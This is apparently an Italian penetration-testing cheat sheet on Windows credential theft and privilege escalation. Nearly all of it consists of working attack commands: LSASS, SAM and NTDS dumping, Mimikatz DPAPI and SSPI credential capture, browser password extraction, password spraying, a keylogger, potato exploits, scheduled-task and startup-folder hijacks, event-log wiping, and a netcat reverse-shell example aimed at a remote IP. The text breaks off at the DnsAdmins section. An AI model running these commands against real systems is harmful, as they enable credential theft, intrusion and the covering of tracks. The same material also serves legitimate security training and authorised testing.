AutoLogon:

L'autologon è un'impostazione che permette ad un utente di poter fare l'accesso senza dover richiedere di inserire manualmente nome utente e password, il tutto funziona con due chiavi di registro la prima "DefaultUserName" e la seconda "DefaultPassword"

Comandi:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" #comando CMD per una query alla chiave di registro contenenti la defaultusername e la defaultpassword

N.B: Le credenziali salvate in chiaro non sono mai una buona cosa, se si vuole utilizzare l'autologon è bene utilizzare il tool AutoLogon.exe che cripta le password in LSA

la path "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" contiene altre voci interessanti utilizzate in una tecnica di persistence

Credenziali:

Questa sezione fa riferimento a luoghi generali, metodologie o errori di dove possano esservi delle credenziali

Dumping di password dai registri:

Comandi:

reg query HKLM /f password /t REG_SZ /s #ricerca dei registri che contengono la parola password

Dumping di password dal credmanager:

Comandi:

vaultcmd /list #comando per vedere se sono presenti dei vaults per le password

Nel credmanager di solito sono 2 i vaults uno web e uno windows, per recuperare quello Web esiste uno script powershell che si scarica da qui

powershell -ex bypass #comando per poter attivare lo script

Import-Module .\Get-WebCredentials.ps1 #comando per importare il modulo

Get-WebCredentials #comando per recuperare le credenziali dal vault web

Esiste poi un tool chiamato "cmdkey", utilizzato per creare, eliminare o modificare le credenziali registrate nel credmanager può essere utilizzato con la command-line "RunAs"

cmdkey /list #comando per listare possibili credenziali salvate

runas /savecred /user:<dominio\nome utente oppure solo nome utente> cmd.exe #comando che tramite le credenziali salvate apre una nuova shell con l'utente specificato

Dumping del SAM e del SYSTEM:

Se abbiamo la fortuna di trovare in giro un backup del SAM o del SYSTEM o ancora meglio, avere privilegi come SeBackup/SeRestore (permettono di leggere e scrivere ogni file del fileysystem bypassandro le ACL) o fare parte del gruppo Backup Operators possiamo salvarceli e dumpare le credenziali

Comandi:

reg save hklm\system C:\Users\backup\system.hive
reg save hklm\sam C:\Users\backup\sam.hive
reg save hklm\system system.bak
reg save hklm\sam sam.bak
#tipologie di comandi per salvare SAM e SYSTEM

Ricordarsi di aprire un smbserver tramite Impacket

copy C:\<path>\Systen.hive \\<ip destinazione>\<nome share>\ 
copy C:\<path>\sam.hive \\<ip destinazione>\<nome share>\ #comandi per passarsi i backup tramite SMB

secretsdump.py -sam sam.bak -system system.bak LOCAL #comando che utilizza la suite impacket per recuperare gli hash

Dumping NTDS:

NTDS è un database contenente dati, credenziali per un domain controller, di default è situato in "C:\Windows\NTDS" e per gestirlo viene utilizzata una utility apposta chiamata "Ntdsutil"

Bisogna avere dei permessi d'amministratore

File richiesti:

C:\Windows\NTDS\ntds.dit
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY

Comandi:

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\prova' q q" #comando che tramite ntdsutil fa il dump dei file richiesti

secretsdump.py -security <path SECURITY file> -system <path SYSTEM file> -ntds <path ntds.dit file> local #comando che tramite secretsdump, dumpa il DB e ottiene gli hash

secretsdump.py -ntds <path ntds.dit file> -system <path SYSTEM file> -hashes <lmhash:nthash> LOCAL #comando alternativo da utilizzare se non si dispone del SYSTEM file

Impostazioni di default settano il ntds.dit non accessibile cioè bloccato ma tramite l'utility "diskshadow", possiamo fare un shadow copy(backup) del volume "C" su un altro volume tipo "F"

diskshadow.exe #comando che avvia diskshadow

set verbose on #comando che mette in azione la modalità verbosa

set metadata <path dove salvare i metadati>.cab #comando che imposta dove salvare i metadati della shadow copy

set context clientaccessible #comando che imposta il contenuto accessibile agli utenti

set context persistent #comando che imposta il contenuto in maniera persistente

begin backup #comando che fa partire il backup

add volume C: alias <nome alias> #comando che aggiunge il volume C per farne la shadowcopy e poi imposta un alias

create #comando che inizia la creazione

expose %cdrive% F: #comando che monta la copia del disco C nel nuovo volume F

end backup #comando che finisce il backup

exit #comando che esce da diskshadow

Infine per eliminare la shadowcopy possiamo procedere con i seguenti comandi:

vssadmin list shadows #comando per listare le shadowcopies

vssadmin delete shadows /shadow=<id della shadowcopy> #comando per listare la shadowcopy

LAPS:

LAPS è utilizzato per la gestione centralizzata delle password, permettendo la generazione, rotazione e ripristino delle password

N.B: Questa metodologia richiede che nella macchina vittima sia presente il modulo windows per la gestione del LAPS

Comandi:

dir "C:\Program Files\LAPS\CSE" #comando per vedere se presente LAPS, infatti se presente troviamo una .dll

Get-Command *AdmPwd* #comando per capire che cmdlets possiamo utilizzare con il nome AdmPwd

Find-LAPSDelegatedGroups | fl * #comando per cercare i gruppi che possono leggere le password gestite da LAPS

Find-AdmPwdExtendedRights -Identity * #comando per cercare quale OU ha "All extended rights"

Get-LAPSComputers #comando che ottiene i computer dove è configurato il LAPS

net groups "<nome gruppo>" #comando per vedere i membri del gruppo ai quali dovremmo accedere

Get-ADComputer -Filter * | fl * #comando per listare il nome del computer con LAPS attivo, in quanto non tutti lo hanno

Get-AdmPwdPassword -ComputerName <nome computer> #comando per recuperare la LAPS password

Esistono diversi script o tool per automatizzare la ricerca uno è possibile scaricarlo da qui.

Credenziali di WDS:

Quando si vuole installare una stessa immagine di windows ma su più macchine nella rete è possibile utilizzare Windows Deployment Services, il quale installa la stessa image su diversi computer attraverso la rete e lo fa in maniera autonoma; può capitare che all'interno di determinati file possano esserci ancora delle credenziali

cartelle:

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

History powershell e cmd:

Windows in un file .txt tiene traccia dei comandi powershell e cmd che vengono eseguiti e possiamo recuperarli con questi comandi:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt #comando CMD per aprire la history

Get-ChildItem C:\Users\<nome utente>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt #comando Powershell per aprire la history

Configurazione IIS:

IIS(Internet Information Service) è il web server di default in windows, dove è possibile che vi siano delle credenziali nel file "web.config"

Comandi:

Ecco le cartelle dove poter andare a vedere

C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Comando per recuperare eventuali credenziali:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString #comando per cercare le credenziali

Putty proxy configurations:

Putty è un SSH client che troviamo spesso nelle windows machine, è possibile recuperare le sue proxy configuration, dove tiene le credenziali in chiaro

Comandi:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s #comando che fa una query e tenta di recuperare le credenziali

LSASS:

Il servizio che si occupa dell'autenticazione nei sistemi windows o nell'AD, è un target fondamentale per il recupero di password hashes e ticket, può essere dumpato in diverse maniere.

Comandi:

Disponendo di una GUI alla target machine è possibile tramite task manager dumpare LSASS:

Task Manager-> lsass.exe-> Creare file di dump della memoria #passi per creare un dump del LSASS

Possiamo dumpare anche se abbiamo a disposizione procdump della SysInternal suite:

procdump.exe -accepteula -ma lsass.exe c:\Windows\lsass_dump #comando per dumpare tramite procdump

Sorge però un problema, i metodi sopra spiegati non funzionano se prima non viene disattivata la protezione LSA con i seguenti metodi:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa #path della key da cercare

RunAsPPL = 1 #value della key che va modificata in 1 per disattivare LSA

Se il tutto funziona avendo disattivato la protezione LSA, possiamo recuperare dal dump del LSASS diverse informazioni grazie al tool python "pypykatz"

pip3 install pypykatz #comando per installare pypykatz

pypykatz lsa minidump lsass.DMP #comando per recuperare le informazioni dal dump

Altrimenti se si dispone di Mimikatz, il processo puà essere velocizzato grazie ad esso

Metasploit Keylogger:

La msfconsole dispone di un keylogger integrato che può ritornare molto utile per il recupero di eventuali password

Comandi:

keyscan_start #comando per avviare il keylogger

keyscan_dump #comando per dumpare quello che ha registrato il keylogger

keyscan_stop #comando per fermare il keylogger

per una maggiore comprensione di Metasploit andare qui

GPP (Group Policy Preferences):

le GPP (Group Policy Preferences) fa parte delle GPO (nella sezione persistence sotto la voce gruppi vi è una spiegazione delle GPO), le GPP permettono una maggiore flessibilità nel gestire le policy e le impostazioni del computer ma inoltre permettono di registrare le credenziali in diversi casi all'interno dell'AD.

Le credenziali sono criptate con AES però la stessa Microsoft ne' ha rilasciato la chiave tra i propri Docs e tramite il tool della suite PowerSploit possiamo recuperare le credenziali

Comandi:

Import-Module .\Get-GPPPassword.ps1 #comando per importare il modulo Get-GPPPassword.ps1

Get-GPPPassword #comando del modulo

Una volta recuperate le credenziali possono essere decriptate tramite la chiave pubblicata di Microsoft

StickyNoteas(Memo):

Un normale utente per comodità può copiare le credenziali e lasciarle nell' app Memo

Comandi:

gci C:\Users\<nome utente>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState #comando per visionare la presenza di db sqlite

Sono due le opzioni se vi sono presenti dei db .sqlite, la prima è copiarli in sqlitebrowser o utilizzare il modulo PSSQLite

sqlite browser:

Il primo metodo è abbastanza semplice, una volta individuati i db, vanno scaricati e aperti con il relativo software

PSSQLite:

Il secondo richiede che venga importato ed utilizzato il modulo PSSQLite

Comandi:

Set-ExecutionPolicy Bypass -Scope Process #comando per settare la execution policy della shell corrente in modalità Bypass

Import-Module .\PSSQLite.psd1 #comando per impotare il modulo

$db = 'C:\Users\<nome utente>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\<nome file>.sqlite' #comando per salvare la path del .sqlite target

Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap #comando per estrarre i dati tramite una query

N.B: possiamo utilizzare pure il comando strings sulla nostra machine però non è molto consigliato se il db è troppo grande

Browser passwords:

Ogni browser permette di salvare le password offline ma tramite tool specifici è possibile recuperarle:

SharpChrome

.\SharpChrome.exe logins /unprotect #comando del tool sharpchrome per recuperare la password

Firefox decrypt

python3 firefox_decrypt.py <path al file profiles.ini> #comando del tool firefox decrypt per recuperare la password

Chromium-Based

.\Invoke-SharpChromium -Command "cookies <nome sito>" #comando del tool sharpchromium per recuperare le credenziali

N.B: Il codice di "SharpChromium" punta alla seguente path "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies" invece va a cambiata con la seguente path "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies"

Microsoft Exchange:

Micorsoft exchange è il software adibito da server di posta elettronica e al suo interno vi è la possibilità di trovare delle credenziali lasciate da qualche utente

Comandi:

https://<server exchange>/autodiscover/autodiscover.xml #comando per scoprire le impostazioni del windows exchange

https://<server exchange>/EWS/Exchange.asmx #comando per scoprire la versione del windows exchange

Il recupero della versione è possibile anche tramite uno script python chiamato get_exchange_version.py

sudo python3 get_exchange_version.py https://<mail target> #comando per utilizzare lo script e scoprire la versione

Un tool che approfondisce la ricerca di credenziali è MailSniper

Import-Module MailSniper.ps1 #comando che importa il modulo

Invoke-GlobalMailSearch -ImpersonationAccount <nome utente da impersonare> -ExchHostname <hostname server> -OutputCsv <nome file .csv> #comando che si connette al server exchange il quale poi tramite il privilegio 
"ApplicationImpersonation" (permette di vedere le altre caselle postal) farà un dump delle email contenenti termini come password, creds, ecc...

Invoke-SelfSearch -Mailbox <email target> #comando che recupera l'email dell'utente corrente le quali hanno la possibilità di contenere termini come: credentials,password e ecc..

Get-MailboxFolders -Mailbox <email target> #comando che tenta di recuperare una lista di cartelle dalla casella postale corrente

Get-GlobalAddressList -ExchHostname <email target> -UserName <dominio>\<nome utente> -Password <password> -OutFile <nome file .txt> #comando  che si connette ad Outlook web Access(OWA) e tramite la funzione "FindPeople", tenta di recuperare la global address list delle email

Invoke-PasswordSprayOWA -ExchHostname <email target> -UserList <path userlist> -Password <password> -Threads <num threads> -OutFile <nome file .txt>
Invoke-PasswordSprayEWS -ExchHostname <email target> -UserList <path userlist> -Password <password> -Threads <num threads> -OutFile <nome file .txt>
Invoke-PasswordSprayGmail -ExchHostname <email target> -UserList <path userlist> -Password <password> -Threads <num threads> -OutFile <nome file .txt>
#comandi uguali che tentano il password spray ma su servizi diversi, il primo su Oulook Web Access, il secondo su Exchange Web Services ed infine il terzo su Gmail

Invoke-UsernameHarvestOWA -ExchHostname <email target> -UserList <path userlist> -Threads <num threads> -OutFile <nome file .txt> 
Invoke-UsernameHarvestGmail -UserFile <path userlist>
#comandi uguali che tentano di recuperare user validi da servizi differenti

File XML crittografati:

Powershell permette di fare scripting all'interno dei file XML e può capitare che all'interno del filesystem possiamo trovarci questo tipo di file:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Administrator</S>
      <SS N="Password">010000ewfefew00d08c9ddf0115d1118c7a00c04fc297eb010000sdfds009db56a0543f441469fc81aadb02945d200000dsf0000200000few0000003660000c000010000efw000069a026f82c590fa867556fe4495ca87000048000a00sdf000100003b5bf64299ad06afde3fc9d6efe72d355000002828ad79f53f3f38ceb3d8a8c41179a54dc94cab7b17ba52d0b9fc62df</SS>
    </Props>
  </Obj>
</Objs>

N.B: il file è solo di esempio provare a decriptarlo non darà alcun risultato valido

Esistono dei comandi per recuperare la password e altri dati:

$data = Import-Clixml -Path <path file xml> #comando per importare il file all'interno di una variabile powershell

$data.GetNetworkCredential().UserName
$data.GetNetworkCredential().Domain
$data.GetNetworkCredential().Password #comandi uguali che differiscono per cosa recuperano dal file xml infatti: uno l'username, l'altro il dominio e l'ultimo la password crittografata

Kerberoasting via Rubeus:

Il kerberoasting è la pratica di recuperare i TGS degli account SPN(Service Principal Name), questa tipologia di attacco può essere portato a termine da una macchina linux con la suite impacket ma se invece avessimo accesso ad una macchina windows è possibile eseguirlo con il tool Rubeus

Comandi:

.\Rubeus.exe kerberoast /stats #comando per listare informazioni sugli utenti vulnerabili al kerberoasting

.\Rubeus.exe kerberoast /user:<nome utente> /nowrap #comando per recuperare il TGT dell'utente specificato

DPAPI:

Il DPAPI (Data Protection API) è una componente di windows e serve per la crittografia dei dati di un programma che utilizza le API, le chiavi utilizzate sono correlate con l'utente e con il computer in se

Informazioni necessarie per l'attacco:

User SID = utilizzato per cercare in una determinata cartella le masterkeys e recuperarle
Master key = utilizzata per accedere ai file protetti delle credenziali
User password = utilizzata per recuperare le masterkeys

Path dove poter trovare le credenziali e le master keys:

C:\Users\<nome utente>\AppData\Local\Microsoft\Credentials\<num identificativo>
C:\Users\<nome utente>\AppData\Roaming\Microsoft\Credentials\<num identificativo> #path dei file criptati

C:\Users\<nome utente>\AppData\Roaming\Microsoft\Protect\<sid>
C:\Users\<nome utente>\AppData\Local\Microsoft\Protect\<sid> #path dei file che contengono le master keys

Comandi:

Molti comandi saranno inerenti al tool mimikatz che offre un aiuto non indifferente, i primi due sono per listare eventuali credenziali:

vaultcmd /listcreds:"Windows Credentials" /all #comando per listare possibili windows credentials

vault::list #comando di mimikatz per listare credenziali

di seguito comandi per cercare le master keys

dpapi::cred /in:C:\Users\<nome utente>\AppData\Local\Microsoft\Credentials\<num identificativo> #comando che tenta di recuperare credenziali criptate e guid della master key

dpapi::masterkey /in:"C:\Users\<nome utente>\AppData\Roaming\Microsoft\Protect\<sid>\<num identificativo>" /sid:<sid utente target> /password:<password> /protected #comando per dumpare le master key conoscendo la password

dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<sid>\<num identificativo>" /rpc #comando per dumpare le master key senza passowrd

sekurlsa::dpapi #comando per dumpare le dpapi master keys, richiede privilegi di amministratore

lsadump::backupkeys /system:<common name dominio> /export #comando mimikatz per dumpare il backup dpapi delle master keys

Infine comandi generali per utilizzare la masterkey e per criptare e decriptare dei dati:

dpapi::cred /in:C:\Users\<nome utente>\AppData\Local\Microsoft\Credentials\<num identificativo> /masterkey:<masterkey> #comando per dumpare le credenziali utilizzando la master key

dpapi::protect /data:"<dati da criptare" #comando per criptare i dati, il blob generato va salvato in un file .bin

dpapi::blob /in:"c:\users\<nome utente>\Desktop\<file con il blob>.bin" /unprotect #comando per decriptare i dati

dpapi::masterkey /in:"C:\Users\<nome utente>\AppData\Roaming\Microsoft\Protect\<sid>\<num identificativo>" /pvk:<pvk key>.pvk #comando per decriptare la master key dell'utente tramite la key recuperata con lsadump::backupkeys

DSRM:

DSRM (Directory Services Restore Mode) è una modalità di boot sicura per il windows server domain controller, quest'opzione abilità un amministratore locale all'interno del DC a poter riparare o persino restorare il tutto. La peculiarità di questa funzione è che assegna una password all' utente amministratore che tramite il tool Mimikatz

Comandi:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <nome computer> #comando che dumpa l'hash DSRM

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose #comando per cambiare la chiave di registro in modo che possa permetterci il pass the hash

Possiamo poi fare il pth con il tool Mimikatz

SSPI:

SSPI (Security Support Provider Interface) è l'API che si occupa di stabilire e negoziare quale protocollo utilizzare per l'autenticazione tra due macchine, possiamo utilizzarlo a nostro vantaggio per recuperare delle credenziali

Comandi:

mimilib.dll in C:\Windows\System32\ #passo in cui dobbiamo copiare la dll di mimikatz in system32

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_SZ /d "C:\Windows\System32\main.dll" #comando per aggiungere la dll ai package del LSA

Infine riavviamo il pc e tutte le credenziali in chiaro saranno nella path "C:\Windows\System32\kiwissp.log"

Tools:

Vi sono ulteriori tool che possono aiutare con il DPAPI quali:

Tools:

Esistono diversi tool che automatizzano il recupero di credenziali quali:

Viene allegato pure un link con comandi e dove cercare per eventuali credenziali lasciate in giro

Varie:

StartUp directory:

La startup directory può essere utilizzata per il privilege escalation, ogni qualvolta vi è il boot del pc

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" #comando per vedere se abbiamo i permessi di writing sulla cartella StartUp

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\<word writable folder>\<nome eseguibile da usare>.exe"
oLink.Save #questo script in vbs permette di creare un collegamento nella directory startup che punterà ad un nostro eseguibile

Potato attacks:

I potato attacks sono una tipologia di privilege escalation di cui ogni tipo ha un nome a se

N.B: alcuni potato attacks potrebbero non più funzionare o essere stati fixxati, è bene prestare attenzione

Hot Potato:

L'hot potato sfrutta la misconfigurazione dei WPAD(il record WPAD è sfruttato nella sezione varie di Privesc), in cui un computer windows cerca in autonomia le impostazioni per configurare il proxy, queste impostazioni sono passate tramite un file "WPAD.dat" malevolo che redirige il traffico su un proxy malevolo e dove poi sarà possibile visionare il traffico della vittima

Link per scaricare l'eseguibile

Comandi:

Hotpotato.exe -ip <ip macchina vittima> -cmd <comando da eseguire> -disable_exhaust true -disable_defender true #comandi per utilizzare l'attacco

ES: Hotpotato.exe -ip 10.12.173.236 -disable_exhaust true -cmd “C:\Users\prova\Desktop\nc.exe 10.12.7.42 8080 -e cmd.exe” -disable_defender true

N.B: l'attacco è stato patchato con "MS16-077 WPAD Name" però ancora utilizzabile nelle macchine che non sono aggiornate

Rotten potato:

Il seguente attacco sfrutta: un fakeproxy locale, un RPC che gira con permessi di "NT AUTHORITY\SYSTEM", RPC alla porta 135 e 2 API call "CoGetInstanceFromIStorage" e " AcceptSecurityContext "

Funzionamento:

API call "CoGetInstanceFromIStorage" contenente IP (127.0.0.1) e porta (6666) del proxy malevolo che obbligano RPC di SYSTEM ad autenticarsi e quindi ad inviare pure una "NTLM negotiate" il proxy poi rigira il tutto alla porta 135 con RPC e tramite l'altra API call "AcceptSecurityContext" per forzare l'autenticazione locale. Il tutto continua con la risposta "NTLM Challenge" da parte della porta 135 e della API call "AcceptSecurityContext" verso il proxy malevolo, le 2 challenge vengono mischiate insieme per azzeccare la negoziazione verso RPC di SYSTEM se tutto andrà bene riceveremo una risposta "NTLM Auth" da inviare alla API call "AcceptSecurityContext" per infine autenticarsi come SYSTEM

Link per scaricare l'eseguibile

Comandi:

whoami /priv #comando per controllare se abbiamo il privilegio SeImpersonatePrivilege

use incognito #comando per caricare l'incognito in meterpreter

MSFRottenPotato.exe t c:\windows\temp\test.bat #comando per avviare rottenpotato

Rottenpotato a livello di codice sorgente aprirà sempre una shell se eseguito è possibile cambiare il suo effetto andando ad apportare modifiche al file "MSFRottenPotato.cpp" nel suo main ed infine ricompilarlo

N.B: Sopra a queste versioni Windows 10 1809 & Windows Server 2019 l'exploit non funzionerà più

Juicy potato:

Il funzionamento di juicy potato è identico a Rotten Potato solo che differisce per diversi aspetti: Il BITS(Background Intelligent Transfer Service) utilizzato per le API call non è disponibile e la porta 6666 è occupata. Nonostante le differenze l'exploit è ancora sfruttabile poichè il BITS non è l'unico server COM disponibile(Component Object Model, servizio interno di windows che mette in comunicazione oggetti software in un ambiente windows) ma ce ne sono altri e la porta può essere cambiata

Comandi:

Primo passo capire che privilegi si hanno, quelli che interessano a noi sono "SeImpersonate" o "SeAssignPrimaryToken"

whoami /priv #comando per controllare se abbiamo il privilegio SeImpersonatePrivilege

Una volta capiti i permessi dobbiamo capire quale CLSID (Class Identifier, un'identificatore globale ed univoco, esempio quello del BITS è 4991d34b-80a1-4291-83b6-3328366b9097) utilizzare, sono due i metodi

Utilizzo del seguente link per la visione dei CLSID
Utilizzo di due script il primo per ottenere i CLSID e il secondo per testarli

Infine possiamo utilizzare lo script per l'exploit

juicypotato.exe -l <porta di ascolto> -p c:\windows\system32\cmd.exe -t <modalità per creare il processo> -c {<CLSID>} #comando per avviare una shell privilegiata tramite juicypotato

N.B: Sopra a queste versioni Windows 10 1809 & Windows Server 2019 l'exploit non funzionerà più

Rogue Potato:

L'exploit rogue potato è possibile se abbiamo il controllo di una macchina vittima e se è accessibile la porta 135; sono 3 le componenti che prendono parte al funzionamento di rogue: RPC che runna come SYSTEM, un finto "OXID RPC Resolver" (Object Exporter Identifier, sono identificatori univoci come i CLSID ma per oggetti che sono localizzati in remoto cioè su altri computers) e una named pipe

Funzionamento:

L'eseguibile di Rogue potato indica al RPC di system di inviare una "OXIDquery" al finto resolver specificando in realtà l'ip dell'attaccante, l'ip dell'attaccante nel mentre tramite un forward con socat metterà in ascolto la porta 135 e la binderà con la porta 9999 della macchina vittima, nel giro che segue ritorniamo nella macchina vittima che tramite api call e la named pipe permetterà di eseguire comandi come SYSTEM

Comandi:

whoami /priv #comando per controllare se abbiamo il privilegio SeImpersonatePrivilege

socat tcp-listen:135,reuseaddr,fork tcp:<ip vittima>:9999 #comando per mettere in ascolto la porta 135 e bindarl con la 9999 della vittima

Link per scarica la POC

.\RoguePotato.exe -r <ip della nostra machine> -e "<comando che vogliamo eseguire tipo una revshell>" -l 9999 #comando per avviare la POC

Sweet Potato:

Sweet Potato è un insieme di vettori per il privilege escalation quali: Rotten Potato, Juicy Potato, PrintSpoofer e ecc...

Ecco il Link per scaricare l'eseguibile

N.B: il print service non deve essere attivo

Generic Potato:

Generic potato è una versione modificata di Sweet potato che tenta di eseguire il privilege escalation tramite HTTP e named pipes

Vi sono dei requisiti per poterlo sfruttare: avere il privilegio "SeImpersonatePrivilege", il sistema non deve aver avviato il print service, WinRM è attivo (Running), non avere conessioni RPC in uscita verso macchine che controlliamo e il BITS service è disattivato

Link per scaricare l'eseguibile

God Potato:

God Potato uno degli ultimi potato attacks creati, richiede di avere il privilegio "SeImpersonatePrivilege"

Comandi:

whoami /priv #comando per controllare i privilegi

Link per scaricare God potato

GodPotato.exe -cmd "<comando da eseguire esempio una revshell>" #comando per utilizzare GodPotato

PrintSpoofer:

I privilegi "SeAssignPrimaryToken" o "SeImpersonatePrivilege" permettono ad un utente di runnare codice o creare nuovi processi in account di altri utenti, l'exploit lanciato da local o da un network service permette di diventare SYSTEM

PrintSpoofer = tool che controlla se l'user ha il SeImpersonatePrivilege e poi fa il Privilege escalation a SYSTEM

Comandi:

PrintSpoofer.exe -i -c <nome comando> #comando per avviare l'eseguibile Printspoofer

Scheduled Tasks:

Vettori di privilege escalation possono provenire da task creati mal configurati

Comandi:

schtasks /query /fo LIST /v #comando per listare tutti i tasks

schtasks /query /tn <nome task> /fo list /v #comando per ottenere info su un task

Task to Run: #parametro che indica cosa runna il task

Run as User: #parametro che indica quale user che lo runna

icacls <Path eseguibile nel parametro Task to run> #andiamo a vedere i permessi che abbiamo sull'eseguibile

echo c:\<path nostro eseguibile> -e cmd.exe <ip> <porta> <path da sostituire del parametro Task to run> #comando che in questo caso inserisce una revshell

schtasks /run /tn vulntask #comando per avviare il task

SeTakeOwnerShip:

Questo privilegio permette di prendere il controllo di ogni oggetto del sistema, incluso file, chiavi di registro o servizi ed è molto probabile che possa essere utilizzato per prendere di mira oggetti che runnino come SYSTEM

Comandi:

whoami /priv #comando per vedere i propri privilegi

takeown /f C:<path eseguibile> #comando che permette di prenderne il controllo

icacls C:\Windows\System32\Utilman.exe /grant <nome account>:F #Avendo il controllo non per forza abbiamo i permessi necessari, ma comunque con il SeTakeOwnerShip possiamo ottenerli con il seguente comando che modifica le ACL

copy cmd.exe <nome eseguibile> #comando per sostituire l'eseguibile

Esiste una repo molto interessante dove, vi sono diverse POC per sfruttare i vari privilegi assegnati come nel caso del SeTakeOwnerShip è possibile trovare tutto qui, inoltre voglio allegare uno script .ps1 che se nel caso il privilegio fosse disattivato abbiamo buone probabilità di riattivarlo, è possibile trovarlo qui

Unpatched Software:

Nella macchina target, possono esserci dei software non aggiornati all'ultima versione che possono essere vettori di Privilege escalation

Comandi:

wmic product get name,version,vendor #comando per listare software e info, non funziona sempre per tutti i programmi

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -ne $null } | Select- 
Object DisplayName, DisplayVersion, InstallLocation | Sort-Object -Property DisplayName -Unique | Format-Table -AutoSize #comando powershell più corposo per listare i programmi, dovrebbe essere più performante

Named pipes:

Le named pipes mettono in comunicazione processi o applicazioni tra di loro, sono una sorta di file che vivono in memoria e che vengono eliminate una volta lette.

Comandi:

gci \\.\pipe\ #comando powershell per listare le named pipes

accesschk.exe /accepteula -w \\.\Pipe\<named pipe> -v #comando per vedere i permessi dati ad una named pipe

Un esempio di exploit è la named pipe "pipe\WindscribeService", che permette di eseguire programmi con privilegi di amministratore, è possibile sfruttarlo a nostro vantaggio tramite il modulo di metasploit chiamato "exploit/windows/local/windscribe_windscribeservice_priv_esc"

SeDebugPrivilege:

Il privilegio SeDebugPrivilege permette ad un utente di avere enormi poteri, in quanto permette di: prendere informazioni sensibili dalla memoria di sistema, accedere o modificare il kernel ed applicazioni, ecc...

Comandi:

Un possibile sfruttamento di questo privilegio è tramite lo script .ps1 chiamato psgetsys, lo script permetterà di creare un processo figlio, il quale erediterà il token dei permessi da un processo padre che runna come SYSTEM

import-module .\psgetsys.ps1 #comando per importare il .ps1

Get-Process <processo privilegiato> #comando per prendere il pid del processo privilegiato

[MyProcess]::CreateProcessFromParent("<pid processo>","<comando da eseguire>", "") #comando per eseguire l'exploit

Esiste una repo molto interessante dove, vi sono diverse POC per sfruttare i vari privilegi assegnati come nel caso del SeDebugPrivilege è possibile trovare tutto qui, inoltre voglio allegare uno script .ps1 che se nel caso il privilegio fosse disattivato abbiamo buone probabilità di riattivarlo, è possibile trovarlo qui

Gruppi built-in:

I windows gruppi built-in sono gruppi di sicurezza che vengono creati quando viene installato windows stesso, questi gruppi conferiscono privilegi speciali ai membri del loro gruppo e quindi possono essere vettore per di privilege escalation

Backup Operators:

Il Backup Operators dispone di 2 privilegi molto importanti SeBackup e SeRestore, in parole povere permettono lettura e scrittura di ogni file del sistema ignorando le ACE, gli stessi privilegi sono utilizzati in una tecnica di persistenza proprio qui

Comandi:

Impostazioni di default settano il privilegio "SeBackup", in modalità disattivato ma tramite questo script potremmo riattivarlo ed oltre a questo ci fornirà alcuni comandi utili

whoami /priv #comando per vedere i nostri prvilegi, SeBackup risulterà disattivato

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll #comandi che importano i moduli delle utils e cmdlets dello script

Set-SeBackupPrivilege #comando dello script che riattiva il privilegio

Copy-FileSeBackupPrivilege '<path file da copiare>' <path file da salvare> #comando dello script che tramite il privilegio ci permette di copiare ogni file

Event Log Readers:

Gruppo che ha i permessi per vedere, modificare i log di sistema

Comandi:

net localgroup "Event Log Readers" #comando per vedere i membri del gruppo

wevtutil qe <tipologia evento> /rd:true /f:text | Select-String "<stringa da cercare>" #comando che fa una query dei log più recenti che poi vengono formattati in testo per poi cercare parole chiavi

wevtutil el | Foreach-Object {wevtutil cl "$_"} #comando per eiliminare i log di sistema

DnsAdmins:

Il gruppo DnsAdmins permette di visionare le informazioni del DNS come gruppo e forse uno dei più utili per il privilege escalation in quanto il servizio DNS è runnato da SYSTEM quindi l'user più forte nel sistema

N.B: il seguente tipo di privilege escalation è possibile quando il DNS è stato avviato nel domain controller, se facciamo parte del gruppo DnsAdmins e se abbiamo i privilegi di stoppare e avviare i servizi

Comandi:

